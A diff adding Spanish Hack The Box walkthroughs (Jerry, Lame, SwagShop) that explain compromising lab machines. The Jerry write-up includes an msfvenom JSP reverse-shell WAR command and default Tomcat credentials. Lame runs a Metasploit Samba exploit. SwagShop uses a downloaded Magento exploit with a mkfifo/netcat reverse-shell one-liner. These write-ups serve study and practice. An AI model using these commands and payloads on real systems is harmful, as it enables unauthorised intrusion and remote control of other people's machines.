14-54-58](https://user-images.githubusercontent.com/103068924/167516655-a20acc11-8352-4a4e-bc11-0ab7c7b2e02c.png) + +![Captura de pantalla -2022-05-07 14-55-13](https://user-images.githubusercontent.com/103068924/167516669-79d3c0f6-cdc5-49a8-973f-7213ceb17d17.png) + +Vemos como ha funcionado y ya tenemos nuestra shell en `bash` y si ejecutamos el comando `whoami` podemos ver como estamos registrados como `root`. Finalmente, podemos encontrar la flag del archivo root dentro del directorio +`/root/root.txt`. + +![Captura de pantalla -2022-05-07 14-55-46](https://user-images.githubusercontent.com/103068924/167517012-2a3a59e2-936b-4d18-a8ca-dab713d8e85f.png) + +![Captura de pantalla -2022-05-07 14-56-42](https://user-images.githubusercontent.com/103068924/167517029-673c71ca-21c2-4e7e-a8ee-b98ddbaedbd4.png) + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + diff --git a/Web/Maquinas-HTB/HTB-Jerry.md b/Web/Maquinas-HTB/HTB-Jerry.md new file mode 100644 index 00000000000..d4a48cd2b8a --- /dev/null +++ b/Web/Maquinas-HTB/HTB-Jerry.md @@ -0,0 +1,199 @@ +![Captura de pantalla -2022-05-09 09-36-58](https://user-images.githubusercontent.com/103068924/167362483-2fb9697d-8b28-490a-8f61-2a60dcf94c31.png) + +# HTB-Jerry + +En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: + + sudo mkdir Jerry + +Ahora, mediante la función `mkt` que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: + + sudo mkt + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB. + +## Fase de Reconocimiento: + +Ejecutamos un `ping` y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una máquina Windows. + + ping -c 1 10.10.10.95 + +![Captura de pantalla -2022-05-09 09-41-43](https://user-images.githubusercontent.com/103068924/167363813-7dab983b-d779-40bb-9ee9-fa2098fad932.png) + +Ahora vamos a ver mediante `whatweb` que más podemos ver: + + whatweb 10.10.10.95 + +![Captura de pantalla -2022-05-09 09-48-48](https://user-images.githubusercontent.com/103068924/167364415-8e3dae47-0de7-4b61-b469-d7f0dbff2539.png) + +Nos reporta un erro al tratar de acceder. Por tanto, vamos a realizar mediante [`nmap`](../Herramientas_y_Scripts/Nmap.html) +una serie de escaneos para ver que puertos se encuentran abiertos, primero realizaré un escaneo básico: + + nmap -p- --open -T5 -v -n 10.10.10.95 -oG allPorts + +`-oG` : Exportar los resultados en formato grepeable. + +`allPorts` : Nombre del archivo. Si no existe lo creará. + +Guardamos los resultados en el archivo `allPorts`, de esta manera podremos revisar los puertos que estaban abiertos en cualquier momento. + +![Captura de pantalla -2022-05-09 10-02-16](https://user-images.githubusercontent.com/103068924/167366619-2fea1b36-9776-47cd-8c0d-a516313f4c11.png) + +![Captura de pantalla -2022-05-09 10-02-34](https://user-images.githubusercontent.com/103068924/167366626-008b8f13-f83a-4e1d-a74c-9e3844c33f17.png) + +Como podemos ver, nos reporta que el puerto 8080 está abierto, vamos a proceder a un segundo escaneo especificando +que quereros utilizar la variable `--script http-enum` en el puerto 8080 y guardaremos los resultados en el archivo +`targetenum`. + + sudo nmap --script http-enum -p8080 10.10.10.95 -oN targetenum + +![Captura de pantalla -2022-05-07 15-15-30](https://user-images.githubusercontent.com/103068924/167366694-67b211b3-0e2c-45d5-9d33-217119e4df2b.png) + +![Captura de pantalla -2022-05-07 15-24-03](https://user-images.githubusercontent.com/103068924/167366815-7cda1186-3b70-4313-b7bd-cbc85727409c.png) + +Vemos que en el puerto `8080` corre un servicio `http`, por tanto, vamos a intentar acceder mediante el navegador de Firefox. + +![Captura de pantalla -2022-05-07 15-09-34](https://user-images.githubusercontent.com/103068924/167367405-e0c39dde-b045-4a47-996c-8585896b46e5.png) + +Vemos que al intentar acceder al dominio `http://10.10.10.95` la página no termina de cargar, pero tampoco reporta ningún error. Por tanto, lo siguiente que +probaremos será especificar el puerto en el que corre el servicio, por tanto, intentamos acceder al dominio `http://10.10.10.95:8080`. + +![Captura de pantalla -2022-05-07 15-11-45](https://user-images.githubusercontent.com/103068924/167368005-2fbf0775-5bb5-4ee6-ba8d-386529a1706c.png) + +![Captura de pantalla -2022-05-07 15-09-34](https://user-images.githubusercontent.com/103068924/167368016-77a414e6-3ce0-4ee2-ae34-d79d955ca882.png) + +## Fase de Inrusión: + +Genial ya nos carga la página, vemos que se trata de la página oficial de un programa llamado `Tomcat`. Lo siguiente que vamos a probar, es tratar de +acceder al directorio `./manager/html`. + +![Captura de pantalla -2022-05-07 15-17-15](https://user-images.githubusercontent.com/103068924/167369103-a8c49c92-7566-4e5a-8cc2-0077f62154ad.png) + +![Captura de pantalla -2022-05-07 15-17-33](https://user-images.githubusercontent.com/103068924/167369119-303c65f3-30f4-4435-a170-a8d7ca3a8cd3.png) + +Nos muestra una ventana de registro, como se trata de una máquina fácil, podemos probar con combinaciones básicas para ver si conseguimos ingresar +de manera sencilla. + +![Captura de pantalla -2022-05-07 15-17-43](https://user-images.githubusercontent.com/103068924/167369536-153cffa5-e7a3-48ba-a9a7-5a6b6a9d761e.png) + +Tras probar algunas combinaciones vemos que utilizando el usuario `admin` y la contraseña `admin` nos reporta este mensaje con un error de servicio 403. + +![Captura de pantalla -2022-05-07 15-18-05](https://user-images.githubusercontent.com/103068924/167369705-e43f467d-4aea-4226-b0d3-2a8c5c3690b2.png) + +Vemos como nos indica un ejemplo, donde nos muestra unas credenciales que se han usado para mostrar el ejemplo. + +![Captura de pantalla -2022-05-07 15-20-56](https://user-images.githubusercontent.com/103068924/167369862-6c157b14-f241-4432-8fe9-d5e4707857a1.png) + +Tratamos de acceder al panel anterior mediante estas credenciales a ver si nos permite registrarnos como el usuario `tomcat` y empleando la contraseña +`s3cret`. + +![Captura de pantalla -2022-05-07 15-20-56](https://user-images.githubusercontent.com/103068924/167370646-06f8b867-1bbc-4920-848a-fd7e651d0a3c.png) + +![Captura de pantalla -2022-05-09 10-23-23](https://user-images.githubusercontent.com/103068924/167370670-7fe63026-5173-4dce-bff7-7baeb579db9d.png) + +![Captura de pantalla -2022-05-07 15-22-16](https://user-images.githubusercontent.com/103068924/167370734-2bb21a68-2dcd-4897-9047-fde8b66decbe.png) + +Las credenciales funcionan y nos lleva hasta una página que parece gestionar aplicaciones. + +Tras revisar la página vemos que nos permite subir archivos, así que vamos a tratar de buscar alguna herramienta que nos permita crear una +shell inversa desde la cual poder interactuar con la máquina. + +## Creación de una Reverse Shell mediante MsfVenom: + +Mediante `msfvenom` podemos tratar de comprobar una gran cantidad de herramientas: + + msfvenom -l payloads + +![Captura de pantalla -2022-05-07 15-25-25](https://user-images.githubusercontent.com/103068924/167371974-d9b41da2-3d47-40a1-8498-6d2f25678fc3.png) + +![Captura de pantalla -2022-05-07 15-27-24](https://user-images.githubusercontent.com/103068924/167372055-941c21d6-2d55-4808-9994-391d329511a5.png) + +Vamos a emplear la herramienta `jsp_shell_reverse_tcp`. Esta herramienta, especificándole nuestro host de escucha y el puerto mediante el siguiente +comando, nos creará un archivo en formato `.war` capaz de crear una shell inversa desde la máquina víctima. + +![Captura de pantalla -2022-05-09 11-02-02](https://user-images.githubusercontent.com/103068924/167385544-1f78a708-b08c-4c23-b6b3-8787c0f05fd4.png) + + msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.14.29 LPORT=8080 -f war -o shell.war + +![Captura de pantalla -2022-05-09 11-02-02](https://user-images.githubusercontent.com/103068924/167376951-11f44b27-79b4-4988-b325-4f8e8423ccb7.png) + +Una vez creado nuestro archivo `shell.war` vamos a subirlo a la máquina víctima, pero antes, debemos mover nuestro archivo +al directorio `Descargas/Downloads`: + +![Captura de pantalla -2022-05-07 15-32-25](https://user-images.githubusercontent.com/103068924/167373933-05569db6-7535-4e68-b2a3-ae5c0e72fb63.png) + +Ahora, mediante el apartado de la página llamado `Archivo WAR a desplegar` subimos nuestro archivo `shell.war`. + +![Captura de pantalla -2022-05-07 15-32-55](https://user-images.githubusercontent.com/103068924/167374610-e9b1e566-2a29-4116-bfec-33a11ae25fc6.png) + +![Captura de pantalla -2022-05-07 15-33-38](https://user-images.githubusercontent.com/103068924/167374653-431287e4-5091-47b0-968a-85ec85904e40.png) + +![Captura de pantalla -2022-05-07 15-34-28](https://user-images.githubusercontent.com/103068924/167374662-ab39d3f4-9253-43a4-9079-91b7a7caf281.png) + +![Captura de pantalla -2022-05-07 15-34-42](https://user-images.githubusercontent.com/103068924/167374683-17d0860c-4808-40af-9788-25955448d081.png) + +Recargamos la página y vemos como aparece nuestro archivo. El siguiente paso será ponerlo en escucha por el puerto `8080` mediante `nc` como se +trata de un sistema Windows utilizaremos `rlwarp`: + + rlwrap nc -lvnp 8080 + +![Captura de pantalla -2022-05-09 11-07-21](https://user-images.githubusercontent.com/103068924/167385711-908c4b6b-e40d-48c2-8978-5536a0850301.png) + + +![Captura de pantalla -2022-05-09 11-07-30](https://user-images.githubusercontent.com/103068924/167386060-d0be171e-6afb-468c-a5c4-8699f4ffc08a.png) + + +Ahora, para ejecutar el archivo, simplemente nos vamos a la página y lo pulsamos. + + +![Captura de pantalla -2022-05-09 11-49-32](https://user-images.githubusercontent.com/103068924/167386089-4cd94622-03f5-45df-83d6-da925a2ea417.png) + +Vemos como la shell se nos despliega en la terminal que tenemos en escucha con Netcat. + +![Captura de pantalla -2022-05-09 11-55-16](https://user-images.githubusercontent.com/103068924/167386486-2bea3986-982e-4163-8293-4cf58fccc4f4.png) + +Está máquina ya está básicamente terminada, ya que las dos flags se encuentran en el mismo archivo, el cual se encuentra en el directorio +`C:\Users\Administrator\Desktop\flags`: + + cd /Users/Administrator/Desktop/flags + +Vemos como dentro del directorio `flags` se encuentra el archivo `2 for the price at 1.txt` + +![Captura de pantalla -2022-05-09 12-01-47](https://user-images.githubusercontent.com/103068924/167387535-4165e282-73a2-4d0a-a41a-4893cd492ef6.png) + +Y finalmente, mediante `type` podemos visualizar el contenido: + +![Captura de pantalla -2022-05-07 15-59-28](https://user-images.githubusercontent.com/103068924/167387517-8daf25ec-3c37-486f-8695-2894ca5daabe.png) + + +![Captura de pantalla -2022-05-09 09-36-58](https://user-images.githubusercontent.com/103068924/167387740-ca9ebbf6-6e75-47f5-b8e5-076a6e0eee27.png) + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + diff --git a/Web/Maquinas-HTB/HTB-Lame.md b/Web/Maquinas-HTB/HTB-Lame.md new file mode 100644 index 00000000000..a2085944667 --- /dev/null +++ b/Web/Maquinas-HTB/HTB-Lame.md @@ -0,0 +1,181 @@ +![Captura de pantalla -2022-05-09 12-57-37](https://user-images.githubusercontent.com/103068924/167405551-4cd2153a-044b-42a7-bb99-3efb07ba4302.png) + + +# HTB-Lame + + +## Fase de Reconocimiento + +En primer lugar, debemos asegurar que estamos conectados a la víctima y tratar de recopilar la máxima información posible. + + Para verificar la conexión y tener una primera toma de contacto utilizaremos el comando `ping`. + + ping 10.10.10.3 + + Mediante este comando podemos obtener la siguiente información: + + - Verificar la conexión. + - La latencia. Podemos observar el tiempo de recorrido + de un paquete. + - Podemos obtener la Ip de un dominio. + - Determinar si estamos frente a un SO Linux o Windows: + Windows ttl = 128 + Linux ttl = 64 + + nmap -p- --open -T5 -v -n 10.10.10.3 -oG allPorts + +![Captura de pantalla -2022-05-07 17-30-56](https://user-images.githubusercontent.com/103068924/167393165-e89c0c25-6ae5-48d4-b779-db308bad145f.png) + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + +`-T5` : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido. + +`-v` : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. + +`-n` : Anula la resolución DNS. + +`-oG` : Exportar los resultados en formato grepeable. + +`allPorts` : Nombre del archivo. Si no existe lo creará. + + De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento. + +![Captura de pantalla -2022-05-07 17-32-33](https://user-images.githubusercontent.com/103068924/167393202-bf6a1888-3079-4e22-a786-3a2ac8c9592f.png) + + Tras conocer los puertos TCP abiertos, realizaremos un segundo escaneo enfocado en los puertos abiertos para ver la información que nos reportan y + exportarlo en formato nmap al archivo 'targed'. + + nmap -sC -sV -n -v -p21,,22,139,445,3632 -oN target + +![Captura de pantalla -2022-05-07 17-34-44](https://user-images.githubusercontent.com/103068924/167393674-9798ac56-230c-4ad8-99cd-4f385aff6c07.png) + +`-sC` : Lanza scrips básicos de reconocimiento. + +`-sV` : Localiza la versión y servicio de los puertos definidos. + +`-p` : Puertos a escanear. + +`-oN` : Reporta los resultados en formato nmap al archivo `target`. + + +![Captura de pantalla -2022-05-07 17-52-38](https://user-images.githubusercontent.com/103068924/167393829-bc058509-3ec1-4eab-8997-57e2afb97bc7.png) + +Vemos que en el puerto 21/tcp corre un servicio ftp con la versión `vsftpd 2.3.4`. Vamos a tratar de buscar alguna vulnerabilidad para esta versión +en concreto. Para realizar la búsqueda utilizaremos la herramienta `searchsploit`. En caso de no tenerlo lo instalamos: + + sudo apt install searchsploit + +Luego lo ejecutamos y le especificamos la versión para que nos busque el `exploit` adecudo: + + searchsploit vsftpd + +![Captura de pantalla -2022-05-07 17-52-16](https://user-images.githubusercontent.com/103068924/167394414-f5e72232-7c5b-44bb-8326-7b580addf1b0.png) + +Vemos como para la versión 2.3.4 existe una herramienta llamada `Backdoor Command Execution (Metasploit)` alojado en el PATH `unix/remote/17491.rb`. +Veamos el código a ver que información utiliza para vulnerar está versión: + + searchsploit -x unix/remote/17491.rb + +`-x` : Para examinar un archivo. + +![Captura de pantalla -2022-05-09 13-07-04](https://user-images.githubusercontent.com/103068924/167397809-ad87df83-57fe-40c4-a481-05d6e80623a5.png) + +![Captura de pantalla -2022-05-09 13-07-35](https://user-images.githubusercontent.com/103068924/167397813-ccae4253-80e9-43c6-aea4-28fa99ef8efc.png) + +Esta herramienta, por lo que parece, usa una serie de cadenas en el usuario para tratar de ganar acceso por el puerto 6200. Yo lo he intentado +manualmente y mediante `Metasploit` y no he podido acceder mediante esta herramienta. + +![Captura de pantalla -2022-05-09 13-01-26](https://user-images.githubusercontent.com/103068924/167398192-d205b407-614e-439e-aa2c-e18d3a6060e3.png) + +Al ver que esto no funcionaba, busque otro vector de ataque y vemos que por los puertos 139 y 445 corre un servicio `Samba`. + +![Captura de pantalla -2022-05-09 13-17-47](https://user-images.githubusercontent.com/103068924/167399970-c676bcde-785d-4bea-936f-eaed02ccc5dc.png) + +Vemos también que en el puerto 445 nos indica la versión `3.0.20`, así que buscamos sobre este servicio: + + searchsploit samba 3.0.20 + +![Captura de pantalla -2022-05-09 13-22-01](https://user-images.githubusercontent.com/103068924/167399895-d6be29db-a564-4d30-894b-78efb0a9dec4.png) + +## Metasploit + +Vamos a tratar de acceder mediante `Metasploit` empleando la herramienta reportada anteriormente. En primer lugar, ejecutamos `Metasploit`: + + msfconsole + +Buscamos la versión de Samba para asegurarnos que tenemos la herramienta y ver donde se aloja: + + search samba 3.0.20 + +![Captura de pantalla -2022-05-09 13-30-56](https://user-images.githubusercontent.com/103068924/167402968-186b60cc-f240-4690-9d65-74faea05daa5.png) + +Ahora, mediante la variable `options` podemos ver los campos que tenemos que rellenar para poder realizar el ataque. + +![Captura de pantalla -2022-05-09 13-32-08](https://user-images.githubusercontent.com/103068924/167403226-78c7e9b2-a4ab-48a2-b9bd-c0cff8e697e5.png) + +Para cambiar los campos empleamos la variable `set` y el campo que deseamos cambiar. Primero introduciremos el localhost `LHOST`, es nuestra IP o en este caso +la IP de la VPN de Hack the Box: + +![Captura de pantalla -2022-05-09 13-35-27](https://user-images.githubusercontent.com/103068924/167403416-26917d45-b54e-4539-90d9-1d40a43bc32e.png) + +Ahora especificamos el puerto de escucha, yo voy a utilizar el `8080`: + +![Captura de pantalla -2022-05-09 13-33-13](https://user-images.githubusercontent.com/103068924/167403656-cf7c6037-69b3-46f5-92cc-69c1d2d6126f.png) + +Ahora especificaremos de la misma manera el remote host `RHSOT` en este caso la Ip de la máquina: + +![Captura de pantalla -2022-05-09 13-34-53](https://user-images.githubusercontent.com/103068924/167403867-17ecf37e-5e8a-4e41-9403-ff6d701b08b2.png) + +Y finalmente el puerto abierto `RPORT` por el que corre el servicio Samba, en este caso el puerto `139`, este campo se suele +rellenar de forma automática. + +![Captura de pantalla -2022-05-09 13-52-53](https://user-images.githubusercontent.com/103068924/167404426-44f0a7d5-57c6-475a-9c11-8079cb1492b4.png) + +Y finalmente ejecutamos Metasploit: + + exploit + +![Captura de pantalla -2022-05-09 13-36-49](https://user-images.githubusercontent.com/103068924/167404633-ab7437bf-1c2d-43a3-8c9e-ee57d00c5337.png) + +Vemos como nos crea la shell y que a de más estamos registrados como `root`. + +Finalmente, como estamos registrados como `root` podemos buscar las flags sin ningún problema. Vemos que la flag del usuario la +podemos encontrar en el directorio `/home/makis/user.txt`. + +![Captura de pantalla -2022-05-09 13-39-09](https://user-images.githubusercontent.com/103068924/167404984-24576d4e-346f-4162-9f66-57510b3f9616.png) + +Y que la flag del usuario `root` lo podemos encontrar en el directorio `/root/root.txt`. + +![Captura de pantalla -2022-05-09 13-37-35](https://user-images.githubusercontent.com/103068924/167405126-6bd4e482-5ba2-4c22-b5b3-a88cf3733ecd.png) + +![Captura de pantalla -2022-05-07 18-32-07](https://user-images.githubusercontent.com/103068924/167405180-12c27e0a-f370-4788-baeb-6b725da56e99.png) + + + --- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Maquinas-HTB/HTB-Legacy.md b/Web/Maquinas-HTB/HTB-Legacy.md new file mode 100644 index 00000000000..f4ead979908 --- /dev/null +++ b/Web/Maquinas-HTB/HTB-Legacy.md @@ -0,0 +1,5 @@ +![Captura de pantalla -2022-05-07 18-38-29](https://user-images.githubusercontent.com/103068924/167576923-7c3192f6-a6d4-4764-87eb-6f7433759ad5.png) + +# Hack The Box-Legacy + + diff --git a/Web/Maquinas-HTB/HTB-SwagShop.md b/Web/Maquinas-HTB/HTB-SwagShop.md new file mode 100644 index 00000000000..0c2f95b359e --- /dev/null +++ b/Web/Maquinas-HTB/HTB-SwagShop.md @@ -0,0 +1,380 @@ +![host-1](https://user-images.githubusercontent.com/103068924/166836563-b92de273-b0a8-44e3-9796-e0b7aa071b96.png) + + +# SwagShop + +En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: + + sudo mkdir SwagShop + +Ahora, mediante la función [`mkt`](../Web/Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zshrc` crearemos nuestros directorios de trabajo: + + sudo mkt + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB. + +![Captura de pantalla -2022-05-05 08-41-27](https://user-images.githubusercontent.com/103068924/166874377-678da3d9-a60b-4910-ba2b-e73d5f378dd0.png) + +### PING + +Ejecutamos un `ping` y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux. + + ping -c 1 10.10.10.140 + +![Captura de pantalla -2022-05-04 21-37-17](https://user-images.githubusercontent.com/103068924/166835523-17862ac7-0b11-48f6-8675-44e7ebbcee95.png) + +Ahora vamos a ver mediante `whatweb` que más podemos ver: + + whatweb 10.10.10.140 + +![Captura de pantalla -2022-05-05 02-39-19](https://user-images.githubusercontent.com/103068924/166848663-edca5cac-63bb-4236-b4b4-cf68c88f8ebf.png) + +Vemos que es un sistema Linux Apache 2.4.18 en el cual corre un servicio `http` el cual está basado en `Magento`. + +### ¿Qué es Magento? + +Es una plataforma de comercio en línea, de código abierto (open source) y escrita en PHP, con la que puedes llevar a cabo todo tipo de proyectos relacionados con la creación de páginas web de venta en Internet. + +Es una herramienta para el diseño y desarrollo de tu tienda online, permitiéndote una gestión avanzada de distintas áreas, incluyendo el marketing y el posicionamiento web. + +### NMAP + +Ahora mediante `nmap` realizaremos un escaneo de puertos: + + nmap -p- --open -sS --min-rate 5800 -vvv -n -Pn 10.10.10.140 -oG allPorts2 + +![Captura de pantalla -2022-05-04 21-47-39](https://user-images.githubusercontent.com/103068924/166835539-0b60bbd9-0d97-401e-bf58-95cf18c3b16b.png) + +Vemos como nos reporta el puerto 80 y el puerto 20. + +![Captura de pantalla -2022-05-04 21-48-00](https://user-images.githubusercontent.com/103068924/166835551-74619704-5005-4bfa-8a8e-ada9c5b248f1.png) + +Intentamos ver el dominio `http://10.10.10.140/` y vemos como nos redirige hasta `swagshop.htb`, pero no nos permite ver la página. Para ello vamos +a registrar el dominio en nuestra carpeta `/etc/hosts` e introducimos la Ip de la máquina víctima y el host `swagshop.htb`: + +![Captura de pantalla -2022-05-05 00-29-52](https://user-images.githubusercontent.com/103068924/166835861-a5bb2cab-8754-4ba7-a402-d8e06a4da5fe.png) + +![Captura de pantalla -2022-05-05 00-31-02](https://user-images.githubusercontent.com/103068924/166835950-11b74920-c3be-4e09-9479-2852ca6de8f0.png) + +![Captura de pantalla -2022-05-04 21-51-26](https://user-images.githubusercontent.com/103068924/166836019-63d932b1-f316-4008-8556-2e534a149e80.png) + + sudo nano /etc/hosts + +![Captura de pantalla -2022-05-05 00-33-07](https://user-images.githubusercontent.com/103068924/166836367-a0023b47-bba6-49ae-90b6-dc134d54563a.png) + + ![Captura de pantalla -2022-05-05 00-34-01](https://user-images.githubusercontent.com/103068924/166836400-df5e6f85-f7ff-4a41-8a44-1ef99793fa23.png) + +Ahora volvemos a nuestro buscador y vemos como ya nos muestra la página. + +![Captura de pantalla -2022-05-05 00-34-40](https://user-images.githubusercontent.com/103068924/166836426-d24198d0-c201-4f08-8389-160da3d98691.png) + +Pasamos a revisar la página. Como podemos ver la página es bastante funcional, se trata de una página de venta de productos de HTB, contiene varios enlaces y podemos ver como nos permite comprar y tratar de registrarnos. + +### Gobuster + +En primer lugar, usando la herramienta `gobuster` vamos a tratar de realizar un escaneo genera en busca de alguna ruta que no se nos muestre en la página. + +En caso de no tener la herramienta la instalamos: + + sudo apt install gobuster + +Para ello especificaremos el dominio de la víctima y el diccionario de rutas que vamos a utilizar. En este caso vamos a utilizar un diccionario llamado `directory-list-2.3-medium.txt` el cual es parte del repositorio `seclists` + +Para descargar el repositorio: + + sudo apt install seclists + +Ya tenemos `gobuster` y el repositorio `seclists`, ahora procederemos con el escaneo: + + gobuster dir -u http://10.10.10.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + +`dir` : Se usa para especificar la opción de directorios. + +`-u` : Se emplea para especificar una `url`. + +`-w` : Especifica el diccionario que vamos a usar. + +![Captura de pantalla -2022-05-05 00-52-50](https://user-images.githubusercontent.com/103068924/166838244-3192932e-4622-4025-b308-a1ed407dab98.png) + +Podemos ver que nos reporta una serie de directorios. Tras comprobarlos, veo que el directorio `app` contiene otros directorios. + +![Captura de pantalla -2022-05-05 00-56-51](https://user-images.githubusercontent.com/103068924/166838568-e8ea2e18-29aa-4d63-a2fd-4c980c81cf09.png) + +Esto podemos confirmarlo +volviendo a pasar el `gobuster` e incluyendo el directorio `app` en la url. + +![Captura de pantalla -2022-05-05 01-01-17](https://user-images.githubusercontent.com/103068924/166838976-29735406-7024-4fde-a886-ffdddc691719.png) + +Vamos a tratar de acceder al directorio `app` desde el navegador. + +![Captura de pantalla -2022-05-04 22-45-46](https://user-images.githubusercontent.com/103068924/166839104-d366e1de-3b61-4e96-adc9-ecfbc824cb1e.png) + +Tras ir verificando los directorios, encontramos que dentro de `etc/` en el +archivo `local.xml` encontramos unas credenciales. + +![Captura de pantalla -2022-05-05 01-04-03](https://user-images.githubusercontent.com/103068924/166839564-e6fa7c34-2b81-4424-9f65-56f3e87c174b.png) + +![Captura de pantalla -2022-05-05 01-04-49](https://user-images.githubusercontent.com/103068924/166839569-3b55ab18-e7d0-472f-be35-799a047bfd6d.png) + +Vemos como nos reporta un username como `root` y una password: + +![Captura de pantalla -2022-05-05 01-04-59](https://user-images.githubusercontent.com/103068924/166839580-c73b2080-e56c-4ecb-936f-db53283bd1a2.png) + +Guardaremos esta información en caso de que nos sea útil más tarde. Ahora vamos a tratar de generar una reverse shell. Buscando reportes de vulnerabilidades sobre Magento, encuentro en github la siguiente herramienta +escrita en python3, la cual nos permite crear una reverse shell en páginas creadas con Magento. Para ello, la herramienta nos registra automáticamente con el nombre y contraseña que le proporcionemos. Por defecto nos define +`str` tanto como usuario como contraseña. + +Para descargar la herramienta en nuestro directorio actual: + + wget https://raw.githubusercontent.com/epi052/htb-scripts-for-retired-boxes/master/swagshop/magento-oneshot.py + +Ahora tenemos que darle permiso de ejecución: + + sudo chmod +x magento-oneshot.py + +Ya tenemos nuestra herramienta preparada, ahora solo debemos especificar el host de la víctima `http://swagshop.htb/index.php` y el comando que queramos ejecutar: + + python3 magento-oneshot.py --command whoami http://swagshop.htb/index.php + +`--command` : Se usa para especificar un comando. En nuestro caso `whoami`. + +![Captura de pantalla -2022-05-05 01-40-05](https://user-images.githubusercontent.com/103068924/166850027-4e6b9fee-65ad-4251-9b89-fd25e3fc4ad5.png) + +Vemos como funciona perfectamente y como nos reconoce como `www-data`. + +Desde aquí ya podríamos hacer cositas, reportando distintos comandos, podríamos +ir interactuando con el sistema, pero no es práctico. Para poder trabajar bien +vamos a tratar de montar una shell más cómoda. + +Para ello vamos a ver primero si disponemos de `netcat` para tratar de establecer una reverse shell: + + python3 magento-oneshot.py --command "wich nc" http://swagshop.htb/index.php + +Vemos que si disponemos de netcat. Ahora vamos a tratar de establecer una +reverse shell. En el siguiente enlace, podréis ver una gran repertorio +de herramientas desde las que establecer shells inversas. + +Nosotros vamos a utilizar la de Netcat: + +[https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) + +![Captura de pantalla -2022-05-05 01-46-13](https://user-images.githubusercontent.com/103068924/166850489-e62e07a6-eda5-4ef7-9759-723deff77eec.png) + +Primero preparamos en una terminal aparte, con nuestro comando netcat `nc` en escucha por el puerto `8080`. + + nc -lnvp 8080 + + ![Captura de pantalla -2022-05-05 09-09-31](https://user-images.githubusercontent.com/103068924/166876948-fc9519f0-429a-4a41-b23f-86b89ec86d43.png) + +Finalmente, especificamos el comando que nos reporta el artículo dentro de nuestro comando anterior, también especificamos nuestra Ip (En este caso es nuestra vpn de HTB) y el puerto desde el que nos pondremos en escucha, `8080`. + + python3 magento-oneshot.py --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8080 >/tmp/f" http://swagshop.htb/index.php + +![Captura de pantalla -2022-05-05 01-47-38](https://user-images.githubusercontent.com/103068924/166876323-c111416f-50ca-4c3a-920a-9ca6ca1ccb0e.png) + +Ya tenemos nuestro shell. Pero sigue sin ser funcional del todo. + +![Captura de pantalla -2022-05-05 09-11-59](https://user-images.githubusercontent.com/103068924/166877544-d98100a1-a769-4b12-bb99-7c22b6411983.png) + +Para poder obtener una shell completa basada en bash, utilizamos los siguientes comandos: + + script /dev/null -c bash + + ![Captura de pantalla -2022-05-05 09-12-36](https://user-images.githubusercontent.com/103068924/166877565-7c129c72-ef1d-4e52-bd19-af03d44d4283.png) + +Ahora pulsamos `Cntl + z` enviamos el proceso a segundo plano. Y ejecutamos lo siguiente: + +![Captura de pantalla -2022-05-05 09-12-53](https://user-images.githubusercontent.com/103068924/166877674-46b7f844-b2ed-47b9-bfac-4c8fbfa0bc57.png) + +Ejecutamos el siguiente comando: + + stty raw -echo; fg + +![Captura de pantalla -2022-05-05 09-13-31](https://user-images.githubusercontent.com/103068924/166877723-7f1282b0-fe27-4b73-b4a7-e4d72d07e97b.png) + + +Y terminamos reseteando la shell: + + reset xterm + + ![Captura de pantalla -2022-05-05 09-17-59](https://user-images.githubusercontent.com/103068924/166877905-58e6f441-7889-4d9d-b1d4-386576924715.png) + +Ahora ya tenemos una shell más estable y potente. También podemos cerrar la terminal de escucha por `nc`, ya que esta +shell es independiente y no se nos caerá. + +Como vemos la shell nos permite utilizar `Cntrl + c` sin expulsarnos, pero aún no nos permite utilizar `Cntrl + l` para +limpiar la shell y si utilizamos un `nano`, vemos como tampoco aprovecha todo el monitor. + +Aunque con esta shell ya se podría realizar las tareas restantes perfectamente, voy a mostrar como solucionar estos dos pequeños inconvenientes y así tener la shell al 100% funcional. + +Para ello primero solucionaremos el problema del `Cntrl + l` de la siguiente manera, si realizamos un `echo $TERM` vemos que tiene el valor `dumb` +y nosotros queremos que igual que nuestra shell, valga `xterm`: + + echo $TERM + + ![Captura de pantalla -2022-05-05 09-38-24](https://user-images.githubusercontent.com/103068924/166882012-75e7c979-d17f-49da-b452-1eabf8c29dfa.png) + + +Vemos como nos reporta `dump`. Para cambiarlo introducimos el siguiente comando: + + TERM=xterm + +![Captura de pantalla -2022-05-05 09-38-46](https://user-images.githubusercontent.com/103068924/166882034-d54cce35-d4ea-4fb5-96fa-52525ab3c4d0.png) + + +Ahora ya podremos limpiar la pantalla mediante `Cntrl + l`. Bien, ya solo falta regular el ancho y la altura de nuestra +shell, para ello primero debemos conocer que medidas tiene nuestro monitor para poder ajustarlo, para verlo, abrimos una terminal nueva desde nuestro directorio e introducimos: + + stty size + +![Captura de pantalla -2022-05-05 09-39-53](https://user-images.githubusercontent.com/103068924/166882118-30d9ed4c-860c-4570-a012-cb01760ab413.png) + + +Copiamos los dos números. Ahora volvemos a la reverse shell y podemos ver mediante el mismo comando que las proporciones son mucho menores. Para ajustarlo realizamos lo siguiente: + + stty size + +![Captura de pantalla -2022-05-05 